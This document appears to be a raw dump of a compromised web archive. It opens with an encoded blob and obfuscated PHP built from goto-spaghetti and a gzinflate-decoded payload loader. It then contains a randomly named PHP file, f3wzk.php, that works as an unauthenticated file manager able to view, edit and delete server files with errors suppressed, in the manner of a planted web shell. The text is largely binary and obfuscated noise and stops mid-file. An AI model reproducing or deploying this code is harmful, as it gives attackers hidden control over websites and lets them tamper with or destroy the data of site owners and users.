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'),10,-8)))?$���:$����);goto ��ʂ;�ʟ�:if(!($�ȩ�[0x0002]==$ʟ��+0x028))goto ֔��;goto ���;ㅃ�:if(!($�ȩ�[0x001]==$ʟ��+0x0007f))goto ���;goto ����;����:}goto ���;��:function FYnYw($����){goto ���;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �Ű�;��ݿ:$ה��=$ה��+pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;Ö��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �Ѷ�;����:global $���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��ݴ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;�ټ�:global $ה��;goto ��;Ч��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto χ��;�諯:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ðل;��:global $��˯;goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ַ�;�䓫:global $ה��;goto �֝;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:��ڄ:goto �̙�;ע��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ��Ȯ;��Ȯ:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ν�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;�Ű�:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;ᝪ�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �葡;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ŗ��;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto �ծ;���:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto �Ө�;ɡ·:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;�lj�:if(!($����<�ߕ(0x001992,0x0000019bd,0x00196a)($����)))goto ��ڄ;goto �䓫;ц˚:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;�Ɖ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�֝:global $ה��;goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ɖ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;�Ǘ�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��;��ś:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto �Ν�;����:$���=pow(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ˤ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;Ν�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �֝�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto �ڱ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;ڒ��:global $��˯;goto ��;����:$����++;goto ��;��Lj:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ��ݿ;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto �諯;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;Ŗ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ў��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��ݴ;��:global $���;goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto �ڔ�;�葡:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto �ܓ�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;ˤ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;¨�:���:goto �lj�;���:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ���;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto Ч��;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto Ν�;�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;ў��:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ���;���:global $���;goto ڒ��;���:global $���;goto ����;�ݭ�:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��̼;���:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ���;��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);goto ����;����:global $���;goto ���;����:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ��˂;�̙�:return $����;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ���;蜨�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=�ߕ(0x001884,0x0186f)(round($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;�ַ�:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;��:$ה��=pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ɡ·;�ܓ�:��:goto ����;��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ע��;����:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ����;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$����=gzinflate(�ߕ(0x00191a,0x000001940,0x0000018fa)($����));goto �Ǘ�;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;���:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�ڔ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:global $ה��;goto �ټ�;����:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��;����:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;����:global $���;goto ����;��:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ��Ō;��Ō:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;栲�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ���;�֝�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ����;����:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ӽ��;�ڱ�:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$���=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;����:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;�Ѷ�:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto ��Lj;�ĝ�:$����=0;goto ¨�;����:$����[$����]=����(0x02463,0x0246d,0x002432)(����(0x0000249d,0x00002489)($����[$����])-0x001);goto ����;��:$ה��=pow(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=pow(round($���),$ה��*0xab/($���+0xab)*M_PI);goto �ĝ�;Ķ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ����;�ծ:$ה��=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ᝪ�;��:goto ���;goto ��;����:$ה��=$ה��+�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto Ķ��;�Ө�:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto �ݭ�;ݝ��:$ה��=$ה��+�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ���;��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 栲�;��̼:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;����:$ה��=pow($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto ц˚;��˂:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xab)*M_PI);goto ����;���:$ה��=$ה��+pow($ה��,$ה��*0xab-($ה��+0x2)*M_PI);goto ��ś;ӽ��:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ��;ðل:$ה��=�ߕ(0x001884,0x0186f)($ה��,$ה��*0xab-($ה��+0xb)*M_PI);goto Ö��;���:$���=pow(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab-($���+0xab)*M_PI);goto ݝ��;χ��:$ה��=$ה��*0xab-($ה��+0xab)*M_PI;goto 蜨�;����:}goto �IJ�;����:$���=�ߕ(0x001884,0x0186f)(�ߕ(0x018d8,0x0018b1)($���),$ה��*0xab/($���+0xab)*M_PI);PK �9m\��f(�E �E f3wzk.phpnu �[��� <?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);
// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);
// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
$path = str_replace('..', '', $path);
$path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
return trim($path, '/');
}
function safe_realpath_within($path, $allowed_root){
$rp = realpath($path);
if($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
return $rp;
}
return false;
}
function get_file_list($dir){
$files = [];
if(is_dir($dir)){
$items = scandir($dir);
foreach($items as $item){
if($item === '.' || $item === '..') continue;
$full_path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$current_path = '';
foreach($parts as $part){
$current_path .= ($current_path ? '/' : '') . $part;
$dir_parts[] = [
'name' => $part,
'path' => $current_path
];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
if(file_put_contents($file_path, $content) !== false){
$message = "File '{$file}' updated successfully!";
} else {
$message = "Error updating file '{$file}'!";
}
}
// Don't redirect - stay on edit page with message
} else {
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
if($message) echo "<p style='color:green;'>$message</p>";
echo "<form method='post'>";
echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
echo "<button type='submit'>Save</button> ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
echo "</form></body></html>";
exit;
}
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
// Check if this is a confirmation request
$confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
$message = "Folder '{$file}' deleted successfully!";
} else {
if(unlink($file_path)){
$message = "File '{$file}' deleted successfully!";
} else {
$message = "Error deleting file '{$file}'!";
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
exit;
} else {
// Show confirmation page
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
echo "<h2>Confirm Delete</h2>";
echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
echo "<br>";
